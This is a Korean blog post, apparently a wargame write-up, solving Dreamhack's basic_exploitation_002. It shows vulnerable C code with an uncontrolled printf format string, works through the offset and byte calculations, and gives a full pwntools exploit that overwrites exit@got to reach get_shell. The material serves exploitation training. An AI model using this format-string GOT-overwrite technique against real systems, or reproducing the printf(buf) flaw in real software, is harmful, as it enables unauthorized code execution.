2021. 8. 2. 22:06ㆍDreamhack Wargame
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
<이번 문제는 Dreamhack에 있는 Format String Bug 강의를 보고 풀었습니다>
https://dreamhack.io/learn/2/3#23
main() 함수에서 0x80(10진수로 128) 크기의 char형 배열 buf를 선언해줍니다.
그리고 initialize() 함수를 호출해주고, read() 함수로 buf를 0x80만큼 입력받습니다.
read()에서 딱 buf 크기만큼 입력을 받습니다.
그리고 다음 줄에서 printf() 함수로 buf를 출력해줍니다.
alarm_handle(), initialize(), get_shell() 함수는 각각 한 줄로 정리하도록 하겠습니다.
alarm_handle() : 설정한 시간이 지나면 TIME OUT을 출력하고 프로그램을 종료합니다.
initizlize() : 알람을 30초로 설정하고, 30초가 지나면 alarm_handle() 함수에 시그널을 보냅니다.
get_shell() : 쉘을 획득 할 수 있는 함수입니다.
여기서 중요한 부분은 get_shell()을 어떻게 실행시키냐..인데,
printf를 보니까 포멧스트링 없이 그냥 buf를 출력하고 있습니다.
이 부분에서 *포맷 스트링 버그가 발생합니다.
* 버퍼 오버플로우 해킹 기법의 한 종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬 수 있는취약점
실행 파일을 실행시켜서 처음 넣은 값이 몇 번째 서식 문자열에 위치하는지 확인해보겠습니다.
가장 첫 번째 %p에 0x41414141이 들어가는 걸 보니 첫 번째에 위치하고 있다는 걸 알 수 있습니다.
이제 풀이를 생각해보겠습니다.
우선 get_shell()의 symbol값을 가져옵니다.
처음에는 read()의 ret 부분에 symbol을 넣을까 생각했지만, 크기가 딱 맞게 입력을 받으니 BOF가 불가능합니다.
또 다른 return이 어디 있을까, 하고 생각을 해보니 exit() 함수도 return의 한 종류라는 걸 깨달았습니다.
buf에 서식 문자열을 넣어서 FSB를 발생시키고, 그 뒤에 get_shell 함수를 실행시키면 될 것 같습니다.
get_shell을 실행시키기 위해 exit의 got를 get_shell() 함수의 symbol로 바꾸겠습니다.
get_shell() 함수의 symbol을 출력해보니 0x08048609가 나왔습니다.
이 값을 한 번에 exit@got로 보내면 분명 에러가 날 것 같으니 두 번 정도 나눠서 보내겠습니다.
두 번 나눠서 보내려면 exit_got, exit_got+2 두 곳에 보내야 할 것입니다.
그리고 get_shell() 함수의 주소 값도 반으로 나눠야 합니다.
우선 0x0804, 0x8609 이렇게 두 개로 나누고 0x0804에는 exit_got의 바이트 수인 0x8을 빼줍니다.
1. 0x0804 - 0x8 = 0x7FC = 2044(10진수)
그리고 0x8609는 앞에서 보낸 0x0804를 제외한 나머지를 보내야 하니, 0x0804를 빼줍니다.
2. 0x8609 - 0x0804 = 0x7E05 = 32261(10진수)
이제 익스코드를 작성해보겠습니다.
from pwn import *
p=remote("host1.dreamhack.games",15157)
e=ELF('./basic_exploitation_002')
exit_got=e.got['exit']
get_shell=e.symbols['get_shell']
pay=p32(exit_got+2)+p32(exit_got)+"%2044c%1$hn%32261c%2$hn"
p.send(pay)
p.interactive()
바이트 계산만 잘하고, exit_got와 exit_got+2의 순서만 헷갈리지 않는다면 바로 풀리는 문제였습니다.
'Dreamhack Wargame' 카테고리의 다른 글
basic_exploitation_003 풀이 (0) | 2021.08.04 |
---|---|
basic_heap_overflow 풀이 (0) | 2021.08.03 |
basic_rop_x64 풀이 (0) | 2021.08.01 |
basic_rop_x86 풀이 (0) | 2021.07.31 |
welcome 풀이 (0) | 2021.07.22 |